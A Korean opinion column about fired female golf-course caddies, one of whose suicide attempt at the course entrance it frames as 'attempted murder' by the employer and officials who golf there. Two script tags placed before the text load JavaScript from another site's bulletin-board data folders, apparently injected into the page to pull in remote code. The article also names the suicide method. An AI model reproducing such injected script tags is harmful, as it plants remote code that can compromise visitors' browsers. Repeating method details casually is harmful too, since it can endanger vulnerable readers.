<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 골프장의 살인 미수
부동산 투기로 국민적 비난을 사고 있는 이헌재 부총리는 여전히 청와대의 신임이 대단하다. “물의를 빚어 죄송하다”는 말 한마디로 만 사 오케이다. 그는 3.1절 행사에도 참석하지 않고 국회의원들과 골프를 즐겼다. 물론 절대다수의 국회의원들이 지난 한 해 엄청난 재산이 늘어났으니 땅값이 오른 경기도 일대 골프장에서 희희낙락 했을 터이다. 마구 파헤쳐진 골프장에는 농촌과 자연뿐만이 아니다. 노동자들의 가슴까지 파헤쳐져 이제 지치고 죽음까지 생각하고 있다.
3.4 오전 경기도 용인 한원 CC 골프장 입구에서 한 여성 노동자는 수면제를 복용한 후 왼손 동맥을 끊고 자살을 기도하였고 급히 후송되었다. 9개월 전 단체협약을 무시하고 37명 경기보조원 전원을 용역으로 전환하였고 이에 반대한 전원을 해고하였다. 그리고 투쟁을 이유로 전체 조합원에게 손해배상 15억원, 가압류 5억 5천 만 원이라는 폭력을 가하고 있다. 자살을 기도한 원춘희 여성조합원에게는 2억4천1백만원을 가압류하고 있었다.
이 엄청난 자본의 폭력에 짓눌린 여성노동자는 더 이상 피할 길 없었고 홀로 계신 어머니에 대한 불효 같은 것....자살 기도 소식을 들은 한 임신한 여성 조합원은 실신하여 병원으로 실려 가기 까지 했단다. 한국의 프로골퍼들이 세계를 무대로 명성을 휘날리고 국위를 선양하며 전국이 골프장화 할 정도로 수백만의 골프인구는 이제 골프의 대중화를 얘기하는 상징이 되고 있다. 그런데 그 곳에 종사하는 여성노동자들은 지금 노동자이기를 거부당하며 노동조합의 권리를 온전히 보장받지 못하고 있다.
잠자는 농성장에 용역깡패가 난입하여 폭력을 행사하고 칼을 휘두르는 등 지난 9개월 동안의 투쟁과정에서 그 잘 난 사람들이 출입하는 골프장의 한 귀퉁이에서 모진 멸시와 탄압을 감내해야 했다. 그러나 돈을 가진 자, 권력을 가진 자들은 이들 여성 노동자들의 목소리에 귀를 기울이지 않았다. 호주제가 폐지되고 이제 양성평등의 시대가 왔다고 한 쪽의 여성들은 만세를 부르지만 또 다른 한 편의 여성들은 죽음을 결심해야 하는 게 동북아 선진 한국의 현주소다.
이 여성노동자의 현상적 자살 미수는 본질적으로 살인미수다. 서비스 연맹 게시판에 올라온 글을 보면 “살인미수 한원 자본 투쟁으로 박살내자!”는 구호로 마무리된다. 정말 분노의 표현이다. 산 속 깊은 곳에 인적이 드문 곳에서 노동자들은 처절하게 자신의 권리를 박탈당하고 탄압받고 극한 상황에 내몰리고 있다. 이헌재 부총리 양반도 그 곳에서 골프를 즐기셨을 터인데 이런 얘기는 못 들어 봤을까?
경기보조원 여성노동자들이 노조에 가입하려 하자 전원 용역으로 전환하였고 이에 반대한 여성노동자 전원을 해고하였으니 이는 명백한 부당노동행위이자 불법행위다. 이 불법의 현장에 고위공직자들은 골프채를 휘두르며 성공한 자들의 인생의 환희를 만끽하고 있다. 땅 투기하여 돈도 벌었겠다. 권력도 언제나 보장되어 있겠다. 아담과 이브시절인들 이 보다 더 낙원이 있었겠는가? 그러니 하찮은 인생들 죽든 살든 나 알 바 아니다. 그게 바로 사회구조가 만드는 간접살인이다. 경기보조원 여성노동자의 자살미수는 바로 살인미수다.
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